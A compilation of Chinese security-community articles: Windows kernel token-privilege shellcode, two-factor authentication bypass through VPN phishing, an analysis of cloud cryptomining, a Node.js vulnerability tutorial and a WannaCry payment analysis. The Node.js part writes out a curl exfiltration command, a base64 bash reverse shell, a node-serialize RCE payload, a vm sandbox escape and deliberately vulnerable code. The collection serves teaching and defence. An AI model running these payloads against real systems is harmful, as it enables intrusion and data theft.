投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**[****](http://bobao.360.cn/learning/detail/3575.html)**
**
**
**传送门**
* * *
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
1）**](http://bobao.360.cn/learning/detail/3575.html)
[******【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
2）**](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
4）**](http://bobao.360.cn/learning/detail/3643.html)
**前言**
这篇文章是Windows内核shellcode系列的第三篇，在这篇文章中我们探讨Cesar Cerrudo在2012年Black
Hat上提出的三种方法中的最后一种方法—启用权限，我们专注于进程token中的权限。（本系列的第一篇文章探讨的是替换进程token，地址是[链接](https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1)；第二篇文章探讨的是清除ACL，地址是[链接](https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-2)）。
**分析**
前两篇文章中使用的假设同样适用于本篇文章，即假设漏洞利用已获得任意内核模式代码执行，我们可以手动运行汇编代码。启用权限技术非常简单明了，但是应用却并不广泛。其理念是定位cmd.exe进程的token，或者是任何获得提升权限的进程，并修改已经启用的权限。
查看Token对象的结构，我们发现：
_SEP_TOKEN_PRIVILEGES结构位于offset 0x40处，正如Cesar所描述的。深入探查后我们发现：
仍然是完全相同的布局，因此可以得出这种技术的背景并没有改变。我们需要修改进程token中的offset 0x48，以启用所述进程的权限。
**The Shellcode**
我们用和前两次相同的方式开始，即从GS寄存器中找到KTHREAD，然后从KTHREAD的offset 0x220处找到EPROCESS：
我想启用parent进程的权限，也就是cmd.exe进程。当我从一个独立的二进制启动漏洞利用时，我找到了cmd.exe的EPROCESS。方法如该系列的第一篇文章中描述的那样，parent进程的PID位于EPROCESS中的offset
0x3E0处：
一旦我们找到了EPROCESS，我们就能在offset
0x358处找到指向token的指针，记住指针是一个快速引用，所以低4位应该被忽略。然后我们更改offset 0x48的值，以启用我们想要的所有权限：
运行shellcode，从whoami / all得到以下输出：
我们启用了很多权限，这里只列出了目前存在的权限。当我们启动子进程的时候，它继承了parent进程的权限，这意味着如果我们启动一个应用程序将代码注入到一个特权进程，例如winlogon.exe，我们可以创建一个新的SYSTEM
integrity cmd.exe：
我们能够使用可用的权限做更多的事情。完整的汇编代码可以在GitHub上找到 （地址）。
**结语**
至此，这个系列的文章就完结了。总结一句话就是，Cesar Cerrudo在2012年提出的想法和技术，只要做一些修改，在2017年仍然适用。
**传送门**
* * *
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
1）**](http://bobao.360.cn/learning/detail/3575.html)
[******【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
2）**](http://bobao.360.cn/learning/detail/3593.html)
[**【技术分享】探索基于Windows 10的Windows内核Shellcode（Part
4）**](http://bobao.360.cn/learning/detail/3643.html) | 社区文章 |
# 双因子身份认证机制的安全分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.fireeye.com/blog/threat-research/2016/03/99_problems_but_two-.html>
译文仅供参考，具体内容表达以及含义原文为准。
双因子认证（2FA）是指结合密码以及实物（信用卡、SMS手机、令牌或指纹等生物标志）两种条件对用户的身份进行认证的方法。这种方法已经得到了企业的广泛采用，特别是在对数据进行远程访问时，但在其它领域应用还十分有限。双因子身份认证的推广之所以受阻，主要是由于其需要使用额外的工具，而这一条件为IT和技术支持人员带来了不小的负担。其批评者还指出，这种安全保障措施仍然很容易遭受攻击，即在非常小的时间周期内，这种技术很容易受到中间人（man-in-the-middle）攻击（这也是采用严格SSL处理的主要原因）。实际上，除了这些障碍以外，现在我们已经开始认识到，不采用双因子认证所带来的隐含成本远远比采用双因子认证所需要的成本高得多。
双因子身份认证是确保远程访问安全性的最佳实践方式，但是这种技术也给了一些网络犯罪分子可乘之机。如果攻击者在获取到了大量身份凭证的情况下，他们就可以伪装成合法用户，而且还可以躲避安全防护软件的检测。很多公司都认为双因子认证机制是绝对可靠的，而且也没有采取一定的安全预防措施来防御攻击者的攻击以及系统后门。
在这篇文章中，我们将会站在攻击者的角度来对双因子身份验证机制进行从浅至深的分析，我们希望这篇文章能够帮助安全研究人员解决这项技术中目前所存在的一些问题。我将会对远程绕过双因子身份验证技术进行讨论，并且向大家描述如何绕过远程访问设备的双因子身份验证机制，并从内部网络环境的设备中窃取数据。
**1）K.I.S.S-简单，有效**
入侵设备的远程访问控制是攻击者首要解决的问题，因为它可以给攻击者提供设备的访问权限，并且降低被监测到的可能性。在合法远程访问工具的帮助下，攻击者不仅可以在目标主机中执行控制命令，而且还可以在身份验证机制的掩护下进行其他的一些攻击活动。
在某些较为困难的情况下，我们可以使用一些比较直接的方法来获取到我们所需的凭证：让目标用户代替我们来进行操作。我们只需进行一些简单的设置就可以制作一个完美的陷阱。
在下图中，我们可以看到两个不同的VPN登录页面。其中一个是公司的合法登录网站，另一个是由攻击者伪造的虚假登录页面。你能发现这两者之间的区别吗？
分辨不出吗？没错，你的客户也一样分辨不出。在社会工程学工具（SET）的帮助下，任何人都可以快速地复制出一个外部页面来欺骗用户（攻击者只需要将HTML页面中的本地资源地址（“/home/image/logo.png”）修改成外部引用地址(“mycompany.com/home/image/logo.png”)就可以了）。在一次完美的网络钓鱼攻击中，你可以引诱目标用户访问你所克隆出的虚假VPN身份验证页面，并且得到所有你需要的信息：用户名，密码，甚至是令牌码！
如果攻击者的操作速度足够快，那么他们还可以将凭证提交至虚假的VPN页面，然后利用这些信息来登录真实的VPN。如下图所示，攻击者可以将登录提交请求重定向至一个PHP脚本，然后这个脚本就会将提交过来的用户名，密码，以及其他的一些元数据写入服务器的日志文件中，这样攻击者就可以检测并获取到用户所提交的双因子身份验证信息了。
当攻击者通过了VPN的身份验证之后，他们就可以在安全检测软件检测到钓鱼攻击并进行安全响应之前，在目标主机中实现提权并获取到敏感数据。
**2）电子邮件就是我们的敌人**
数字令牌通常会需要一个同步代码，而为了保证其有效性，每一名用户的令牌都只会有一个唯一的同步码与之对应。同步码和算法是保证令牌安全性的因素，而且这两个因素也可以确保用户令牌能够与身份验证服务器的要求所匹配。当用户的VPN访问请求通过批准之后，很多公司会选择使用一种简单和友好的方式来向用户发送通知类的电子邮件。这些电子邮件中通常会包含有“seed“密钥和安装说明。但对于安全团队来说不幸的是，用户通常在阅读完这类电子邮件之后，却忘记将其删除了，这些电子邮件就这样躺在了用户的收件箱之中，等待着攻击者前来窃取。
攻击者可以在用户的电子邮箱中搜索敏感文件和有价值的信息（包括硬盘中的.PST和.OST文件）。在大多数情况下，攻击者只需要使用一个简单的PowerShell脚本就可以搜索用户邮箱中的敏感文件以及与RSA软令牌相关的.sdtid文件了。
**3）双因子身份验证机制中的紧急模式**
在很多的双因子身份验证产品中，都提供有一个名为“紧急访问”的代码，这种运行模式实际上是一种身份验证机制，如果用户丢失了令牌，但是又急需对数据进行远程访问，那么这种机制也可以允许用户进行临时性的VPN访问。下图显示的就是紧急访问模式的操作界面截图：
如上图所示，系统提供了一个身份验证的修复机制。对于攻击者而言，攻击者可以利用这种机制来远程访问目标系统。这些紧急访问码是非常不安全的，因为他们的有效日期可以被修改，这样一来，攻击者就可以利用这些紧急访问码来获取到目标系统的永久访问权限了。
**总结**
对于一名经验丰富的攻击者来说，他们有很多种方法可以对目标进行攻击，并绕过那些所谓的“安全防护措施“。
不幸的是，很多公司太过于相信那些所谓的安全解决方案了，例如双因子身份验证。如果安全技术人员没有采取一些必要的安全保障措施，那么这种安全技术也不能保证公司的安全。如果安全技术人员忽略了这一点，那么攻击者就可以利用如上文所述的一些攻击方法破坏双因子身份验证技术本该带来的安全性。
在此，我还需要感谢Andrew Burkhardt, Evan Peña, 以及Justin Prosco为这篇文章所做出的贡献。 | 社区文章 |
# 云上挖矿大数据：黑客最钟爱门罗币
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2018年，区块链项目在这一年上演着冰与火之歌，年初火爆的比特币在一年时间内跌去八成。除了巨大的市场波动之外，区块链领域本身的安全问题也逐渐凸显，与之相关的社会化问题不断显现。
“勒索”、“盗窃”、“非法挖矿”是区块链项目数字加密货币的三大安全威胁，其中云主机用户面临的首要安全问题是非法挖矿。
非法挖矿一般分为基于文件的挖矿和基于浏览器的挖矿。由于云主机用户一般不使用浏览器访问网页，故基于浏览器的挖矿在公有云上并非较大的威胁。
反之，云上基于木马文件的入侵挖矿事件层出不穷，黑客通过用户云主机上的通用安全问题入侵并进行挖矿来直接获取利益，使得用户 CPU
等资源被耗尽，正常业务受到影响。这些被黑客利用的通用问题往往是由于用户缺乏安全意识而导致的。
腾讯安全云鼎实验室通过对云上挖矿木马的网络、文件、进程关联分析，在日常的安全对抗中，发现了大量黑客尝试入侵挖矿的行为。对此类行为的特征进行统计分析，将样本、恶意行为加入相关安全产品的规则库和算法模型，并进行有效地遏制和打击。本文对云上入侵挖矿行为共性进行了统计分析，帮助用户对挖矿行为进行防御，从而更好地保障腾讯云用户安全。
## 一、币种分析（挖矿目标分析）
对于云上挖矿，首要的话题是黑客入侵挖矿的目标，即挖矿币种。经过分析，云上黑客入侵挖矿的行为均采用矿池挖矿的形式，其主要特征是对矿池地址进行有规律地访问。云鼎实验室通过对矿池地址进行统计和归类，发现云上入侵挖矿币种主要是门罗币(XMR)、氪石币(XCN)和以利币(ETN)。
究其原因，早期的币种如比特币、莱特币等，其算法设计中挖矿行为的本质是进行重复的计算工作，而 CPU
不擅长并行运算，每次最多执行十几个任务，挖矿效率极低，黑客难以利用。相对而言， 显卡GPU 是数以千计的流处理器，一些顶级显卡挖矿效率是 CPU
的上百倍，所以传统的挖矿方式一般采用显卡 GPU 挖矿。而门罗币和以利币等第二代虚拟货币采用了 CryptoNight 算法，此种算法特别针对 CPU
架构进行优化，运算过程中需要大量的暂存器，不再依赖于GPU挖矿，且也没有对应的ASIC，于是黑客在入侵云主机之后更多会选择消耗机器 CPU
资源挖矿来直接获得利益，所以门罗币等币种可在以CPU 为主的云平台上流行。
在过去的一年中，即使门罗币价格一路下行，也挡不住黑客的热情，进一步对挖矿行为趋势的统计发现，公有云上门罗币挖矿的行为数量不仅没有下降，反而还在下半年持续攀升。
门罗币是匿名货币，其地址、交易金额、交易时间、发送方和接收方等信息完全隐匿，难以查询与追踪。因为黑客植入挖矿程序是违法行为，使用门罗币，就算发现主机被植入挖矿木马，也无法通过挖矿的地址、交易等信息查询到黑客的行踪。
云鼎实验室通过对数字货币的价格走势和挖矿热度进行关联，尝试对币种价格与挖矿热度进行分析，发现挖矿的热度与币种价格成正比关系（部分高价值币，比如门罗币，由于其本身持续存在的价值，不受此规律影响）。
对以利币的价格走势观察发现，其从1月中旬开始就呈下降趋势：
对以利币对应矿池的访问数据观察发现，其访问量也呈下降趋势，下半年已经基本无人问津，如下图：
所以整体观察可以发现，黑客入侵挖矿选择的币种与币种价值有关，对小币种的选择在一定程度上取决于其价格，挖矿热度与币种价格成正比；高价值的币种由于其持续存在的价值，不受此规律影响。
由于云主机的计算资源以CPU为主，黑客通过漏洞入侵用户机器选择的币种具有统一的特性，这些币种的算法主要以 CryptoNight 为主，可以直接使用 CPU
挖矿，不依赖于 GPU 就产生较大的效益。
## 二、矿池分析
对黑客的挖矿方式进一步分析发现，云上黑客入侵挖矿主要采用矿池挖矿的方式。
随着数字货币的火热，越来越多的人力和设备投入到各种币种的挖矿，导致各种币种的全网运算水准呈指数级别上涨，单个设备或者少量算力都难以获得区块奖励；而矿池挖矿是一种将不同少量算力联合运作的方式，以此提升获得区块奖励的概率，再根据贡献的算力占比来分配奖励。相比单独挖矿，加入矿池可以获得更稳定的收益，因此众多的矿工均采用矿池挖矿，黑客亦如此。以下为云上黑客入侵挖矿使用主要矿池列表：
通过对矿池地址进行归类统计发现，黑客入侵后挖矿使用最多的矿池为minexmr.com。如下图，该矿池算力在全网门罗币矿池中排名第三。
门罗币目前全网算力(Hashrate)约为460MH/s，xmr.nanopool.org
就达到99.79MH/s，提供了门罗币20%以上的算力；pool.minexmr.com 达到62.78MH/s提供了门罗币13.6%的算力;
xmr.pool.minergate.com
的算力也达到26.50MH/s；这些均是云上黑客入侵挖矿使用的主要矿池，意味着云上存在漏洞而被入侵挖矿的机器就是其中的矿工，是这些算力的贡献者。
而国内自建矿池也不甘示弱，皮皮虾、一路赚钱、和鱼池(ppxxmr.com,yiluzhuanqian.com,f2pool.com)受欢迎的程度分别排名第三、第四、第九。
云鼎实验室对挖矿常使用端口统计发现，5555、7777、3333等罕见端口常被用作矿池连接的端口，其中45700、45560则为 minergate.com
指定过的矿池端口。
黑客使用的特定矿池地址和端口就是其进行入侵挖矿恶意行为的特征之一，正常的服务器并不会对这些矿池地址和罕见端口进行连接访问。通过对矿池地址和端口进行统计，用户可以采用流量抓包等方式针对性地检查自己的云主机是否中招，甚至可以在不影响业务的前提下直接屏蔽对应矿池的访问，也可在一定程度上起到防护的作用。
## 三、漏洞利用入侵与溯源分析
云鼎实验室对黑客入侵挖矿行为的攻击方式进行统计分析，发现云上入侵挖矿的行为中，黑客在选择攻击目标和入侵方式上也存在一定的共性。
下图为云鼎实验室对 xmr.pool.minergate.com 影响机器数量在一定时间内进行的分布统计。
下图为cpuminer-multi.exe矿机的新增情况，cpuminer-multi.exe启动时一般会请求上述的矿池地址。
对比以上两张图，可以发现在2018年4月15日和6月18日，cpuminer-multi.exe 矿机均出现了突增，对应时间点的
xmr.pool.minergate.com
矿池连接数量也出现了增加，而这些时间点基于云鼎实验室日常的事件和响应统计，均出现过大批量的通用安全问题的利用情况。
通过对历史捕获挖矿案例的分析发现，云上挖矿通常是一种批量入侵方式，这种批量入侵的特性，使得黑客只能利用通用安全问题，比如系统漏洞、服务漏洞，最常见的是永恒之蓝、Redis未授权访问问题等。
云上入侵挖矿行为的感染和挖矿方式主要分为两种类型，其中一种类型是在病毒木马主体中直接实现相关的扫描、利用、感染和挖矿功能，如下图对某木马逆向可见钱包地址和矿池地址直接硬编码在程序中：
而另一种方式则是利用独立的挖矿程序，这些挖矿程序一般是来自开源程序，比如 xmrig 项目
（[https://github.com/xmrig/xmrig），](https://github.com/xmrig/xmrig%EF%BC%89%EF%BC%8C)
这类挖矿一般会在入侵后先植入 bash 或者 VBScript
脚本等，再通过脚本实现对挖矿程序的下载或者其他扫描利用程序的下载，同时通过参数指定矿池和钱包地址，以下就是其中一个 VBScript
脚本内容和启动的挖矿进程：
其中主流方式是直接启动挖矿程序进行挖矿。通过分析矿机常用的进程，也可以得到印证：
影响最大的 minerd 出自 <https://github.com/pooler/cpuminer>
Windows上的 cpuminer-multi.exe 矿机源于<https://github.com/tpruvot/cpuminer-multi>
而 kworkers、kappre、xmrig.exe 等均编译自<https://github.com/xmrig/xmrig>
集成开源矿机挖矿只需要一条命令，使得黑产行业越来越多的使用此种形式来进行挖矿。
进一步尝试统计黑客身份，针对部分数据进行进程的命令参数分析统计，提取其中挖矿钱包地址用户名发现，云上挖矿行为聚集状态，大量被黑的云主机矿机掌握在少量的黑客团伙/个人手中（其中邮箱是
minergate.com 的用户名）。
总结黑客的入侵挖矿行为发现，存在通用安全漏洞（如永恒之蓝）的云主机成为黑客主要的入侵目标，黑客通常采用批量扫描通用安全问题并入侵植入挖矿程序的方式进行恶意挖矿。一些传统企业、政府机构等行业的机器被入侵挖矿现象尤为显著，主要原因是这些行业的云主机由于维护人员缺乏安全意识，容易存在漏洞，甚至长期不登录云主机，更是变向给黑客提供了长期矿机，这些存在安全问题的云主机也是云上挖矿等恶意行为肆意繁衍的温床。所以提升安全意识，避免在云主机中引入漏洞，发现漏洞后及时修复是防止被黑客入侵挖矿的唯一方法。
## 四、安全建议
基于以上云鼎实验室对云上入侵挖矿主要特征的总结，可以发现黑客入侵挖矿的主要目标是存在通用安全漏洞的机器，所以预防入侵挖矿的主要手段就是发现和修复漏洞：
1)可以根据业务情况使用腾讯云安全组或者服务器自带防火墙关闭非业务需要的端口，对于一些部署的服务，如无必要避免开放在外网上，即使因为业务需要开放，也应该限制访问来源。
2)关注操作系统和组件重大更新，如 WannaCry 传播使用的永恒之蓝漏洞对应的 MS17-010，及时更新补丁或者升级组件。
3)为预防密码暴力破解导致的入侵，建议更换默认的远程登录端口，设置复杂的登录密码，或者是放弃使用口令登录，转而使用密钥登录。
4)自检服务器上部署的业务，有条件的话可以进行渗透测试，及早发现并修复业务漏洞，避免成为入侵点。
5)使用腾讯云云镜等安全产品，检测发现服务器上的安全漏洞并且及时修复。
另外，针对已经被入侵挖矿的情况，建议及时清理挖矿进程和恶意文件，同时排查入侵点并修复，从根本上解决问题。
## 五、附录
### 1、部分币种和矿池列表
以下为云上黑客入侵后挖矿的主要币种和矿池列表：
### 2、部分挖矿程序样本
a)94fc39140ffafbd360a4cabc64b62077
b)f068b7be8685c91bddbb186f6fad7962
c)367dc6e9c65bb0b1c0eb1a4798c5e55b
d)f594a17d37c70b0d18f33a3882e891a0
e)db87bd6bc3554e4d868b7176925dcff5
f)5b0b4ccea8b6636966610edc346fe064
g)8c9ab86572742d2323cee72ca2c0a3f2
h)367dc6e9c65bb0b1c0eb1a4798c5e55b
i)0d25d679b9845847b0c180715a52d766
### 3、部分钱包地址
a)4A7sJwfkFrWB88V8NiJ2Fi3RwsWkR48PQ5hG2qXq6hu2U7e8fcVLJ81WtTzHGdNChsejcygkvUGpbiiUXAWXprWYHnBEvqC
b)43RhXdrqL26QFnZyWyC53pcyaxKDQZent24CXGRLZ6196h6DkpzT43ZA2C1SpZGLDddAfr6hEhwqXg7F8dQpchFuDBz6Y6T
c)47bvN8Z4UVq6kLjMFo4AF5UkwFbdzdhvoKNj1EN6iTYA2BvSDAsbGoXNMNeSfZajhz6xqQHHhPqbrRacnvELqrgyQYBqnXc
d)42h3ELK47SGe4jiit28qVvTRAwpnT1R3DZ7BEnQm3Jxe9wykcvLVoFd5GqpqepwGRrCbkyKJG4kg1hssUztaVACVJGhpGAK
e)4AGF7tHM5ZpR7FRndiPMk6MxR1nSA8HnAVd5pTxspDEcCRPknAnFAMAYpw8NmtbGFAeiakw6rxNpabQ2MyBKstBY8sTXaHr
本文作者：zhenyiguo、jaryzhou、youzuzhang @腾讯安全云鼎实验室
腾讯安全云鼎实验室关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
## 前言
对于最近学习node.js的一些总结～
## 设置安全的HTTP头
在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数，比如以下：
Strict-Transport-Security //强制使用安全连接（SSL/TLS之上的HTTPS）来连接到服务器。
X-Frame-Options //提供对于点击劫持的保护。
X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击（XSS）的过滤功能。
X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型，转而使用明确的content-type来确定。
Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。
目前Helnet第三方模块已经帮开发人员设置好了，直接将它引入到我们的系统就可以了，代码如下
var express = require('express');
var helmet = require('helmet')
var app = express();
app.use(helmet())
app.get('/', function (req, res){
res.end("hello ghtwf01")
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
## 代码执行
示例代码如下
var express = require('express');
var app = express();
app.get('/eval', function (req, res){
res.send(eval(req.query.code));
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
Node.js中的chile_process.exec调用的是/bash.sh，它是一个bash解释器，可以执行系统命令。在eval函数的参数中可以构造`require('child_process').exec('');`来进行调用
1.执行命令(打开微信)
`code=require('child_process').exec('open /Applications/WeChat.app');`
2.读取任意文件
因为没有回显所以需要数据外带
我们在自己的vps上写一个获取数据的文件test.php
<?php
$content = $_POST['content'];
file_put_contents("content.txt", $content);
?>
然后执行命令
code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');
成功在自己vps上生成文件读取到文件内容
3.反弹shell
`code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64
-d|bash');`
`YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx`是`bash -i >&
/dev/tcp/127.0.0.1/4444 0>&1`的base64编码
如果上下文中没有require(类似于Code-Breaking 2018
Thejs)，则可以使用`global.process.mainModule.constructor._load('child_process').exec('')`来执行命令
除了eval函数能动态执行代码，setInteval、setTimeout、 new Function等函数也有相同的功能
## XSS
Node.js不像java有很强大的过滤器，过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection，来开起浏览器内建的对于跨站脚本攻击（XSS）的过滤功能。由于本身没有xss防护机制 ，若是未经过滤直接显示外部的输入则导致XSS。
如下：
var express = require('express');
var app = express();
app.get('/xss', function (req, res){
res.end(req.query.content);
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
程序直接将用户的输入显示到前端页面：
## SSRF
ssrf漏洞在存在于大多数的编程语言中，node.js也不例外，只要web系统接收了外界输入的URL，并且通过服务端程序直接调用就会造成相应的漏洞
代码如下
var express = require('express');
var app = express();
var needle = require('needle');
app.get('/ssrf', function (req, res){
var url = req.query['url'];
needle.get(url);
res.end('new request:'+url);
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
## SQL注入
示例代码
var express = require('express');
var app = express();
var mysql = require('mysql');
var connection = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'users',
port : '8889'
});
connection.connect();
app.get('/sqli', function (req, res){
var id = req.query.id;
var sql = "select * from user where id="+id;
connection.query(sql,function(error, result){
if (error) {
res.send(error);
}
res.send(result[0]);
});
connection.end();
})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
成功实现注入
## 文件上传
形成的原因同样是因为未对上传文件作限制或限制不当
file.html
<html>
<head>
<title>文件上传表单</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h3>文件上传：</h3>
选择一个文件上传: <br />
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="image" size="50" />
<br />
<input type="submit" value="上传文件" />
</form>
</body>
</html>
test.js
var express = require('express');
var app = express();
var fs = require("fs");
var bodyParser = require('body-parser');
var multer = require('multer');
app.use('/public', express.static('public'));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(multer({ dest: '/tmp/'}).array('image'));
app.get('/file.html', function (req, res) {
res.sendFile( __dirname + "/" + "file.html" );
})
app.post('/upload', function (req, res) {
console.log(req.files[0]); // 上传的文件信息
var des_file = __dirname + "/" + req.files[0].originalname;
fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
if( err ){
console.log( err );
}else{
response = {
message:'File uploaded successfully',
filename:req.files[0].originalname
};
}
console.log( response );
res.end( JSON.stringify( response ) );
});
});
})
var server = app.listen(8888, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
})
## npm
任何人都可以创建模块发布到npm上，供别人调用，虽然这为开发者带来了一定的便利性，但必然隐藏着安全隐患，如果使用了存在漏洞的第三方模块，那么就会有严重的安全问题。
### node-serialize反序列化RCE漏洞(CVE-2017-5941)
这里首先需要了解一个知识叫IIFE(立即调用函数表达式)，是一个在定义时就会立即执行的 JavaScript 函数
IIFE一般写成下面两种形式：
(function(){ /* code */ }());
(function(){ /* code */ })();
例如
和
现在开始分析node-serialize的漏洞点
位于node_modules\node-serialize\lib\serialize.js第75行中
可以看到传入的值在eval函数里面且被一对括号包裹，所以如果我们构造`function(){}()`函数，在反序列化时就会被当作IIFE立即调用执行
poc:
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
得到
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}
因为需要在反序列化时让其立即调用我们构造的函数，所以我们需要在生成的序列化语句的函数后面再添加一个`()`，结果如下：
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}
这个时候我们将其进行反序列化，代码如下
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
成功执行命令
### Node.js 目录穿越漏洞(CVE-2017-14849)
漏洞影响版本:
* Node.js 8.5.0 + Express 3.19.0-3.21.2
* Node.js 8.5.0 + Express 4.11.0-4.15.5
vulhub一键搭建环境
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
burpsuite抓包
现在开始分析漏洞点，先下载安装源码
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf 4.15.5.tar.gz && cd express-4.15.5 && npm install
位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)
SendStream.prototype.pipe = function pipe (res) {
// root path
var root = this._root
// references
this.res = res
// decode the path
var path = decode(this.path)
if (path === -1) {
this.error(400)
return res
}
// null byte(s)
if (~path.indexOf('\0')) {
this.error(400)
return res
}
var parts
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}
// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)
关键位置是
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}
// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)
这里有两个需要认识的函数
1.path.normalize()函数规范化给定的
`path`：<http://nodejs.cn/api/path/path_normalize_path.html>
2.path.join()函数将多个参数组合成一个`path`：<https://www.jb51.net/article/58298.htm>
Send模块通过`normalize('.' + sep +
path)`标准化路径path后，并没有赋值给path，而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断，就能把目录跳转字符带入`join(root,
path)`函数中，跳转到我们想要跳转到的目录中
接下来的分析可参考：<https://paper.seebug.org/439/>
### vm沙盒逃逸
vm可以理解为在一个虚拟环境中运行代码然后将结果取出来，这样可以防止恶意代码在主程序上执行
下面举一个例子，代码如下
const vm = require('vm');
const x = 1;
const context = { x: 2 };
vm.createContext(context); // Contextify the object.
const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);
console.log(context.x); // 42
console.log(context.y); // 17
console.log(x); // 1; y is not defined.
总结一下就是先将x=2放入沙盒并创建一个沙盒，然后将代码(x += 40; var y =
17;)放入沙盒中执行，因为最开始创建沙盒的时候定义了x=2，所以在此基础上在沙盒中进行运算得到x=42，y=17。因为const
x=1是在沙盒外定义的，所以和沙盒无关，值仍然为1。
虽然拥有沙盒来帮助执行代码，但是vm还是轻松逃逸出去，因为`this.__proto__`指向的是主环境的`Object.prototype`
const vm = require('vm');
const context = { x:2 };
const script = new vm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result);
* 第一步`this.constructor.constructor`通过继承链最终拿到主环境的`Function`
* `this.constructor.constructor('return process')()`构造了一个函数并执行，拿到主环境的`process`变量
* 通过`process.mainModule.require`导入`child_process`模块，命令执行
# 参考链接
<https://www.jb51.net/article/127896.htm>
<https://www.freebuf.com/articles/web/152891.html>
<https://paper.seebug.org/439/>
<https://threezh1.com/2020/01/30/NodeJsVulns/>
<http://nodejs.cn/api/> | 社区文章 |
作者: **安天安全研究与应急处理中心**
报告初稿完成时间：2017年05月17日 19时00分
首次发布时间：2017年05月17日 19时00分
本版本版发布时间：2017 年 05 月 18 日 10 时 00 分
[PDF报告下载](http://www.antiy.com/response/wannacry/Antiy_Wannacry_Pay.pdf)
### 前言
`WannaCry`勒索者蠕虫爆发以来，网上存在着很多的“误解”和“谣传”，也包括一些不够深入的错误分析。其中有的分析认为“WannaCry的支付链接是为硬编码的固定比特币地址，受害者无法提交标识信息给攻击者，其勒索功能并不能构成勒索的业务闭环。”
安天安全研究与应急处理中心（Antiy
CERT）经分析认为经分析猜测上述错误的分析结论可能是因为分析环境TOR（暗网）地址不能正常访问引起的。如可以访问TOR网络则会为每一个受害者分配一个比特币地址进行支付。
### 支付解密流程分析
1.WanaCry加密用户数据后会首先带参数运行@[email protected]，@[email protected]会创建一个“00000000.res”，内容为加密的文件数量、大小等信息，随后@[email protected]样本将该文件内容回传到攻击者的暗网服务器。
`图 1
“00000000.res”文件内容`
2.服务器根据用户的上传的“00000000.res”返回一个对应的比特币钱包地址，然后样本更新c.wnry配置文件中的比特币钱包地址，再次以无参数运行@[email protected]，此时@[email protected]读取该配置文件中的并显示新的比特币钱包地址。
（因为暗网或其他网络问题，大部分连接失败，导致大部分被攻击用户显示的均为默认钱包地址）。
`图 2
更新的比特币钱包地址`
`图 3
显示新的比特币钱包地址`
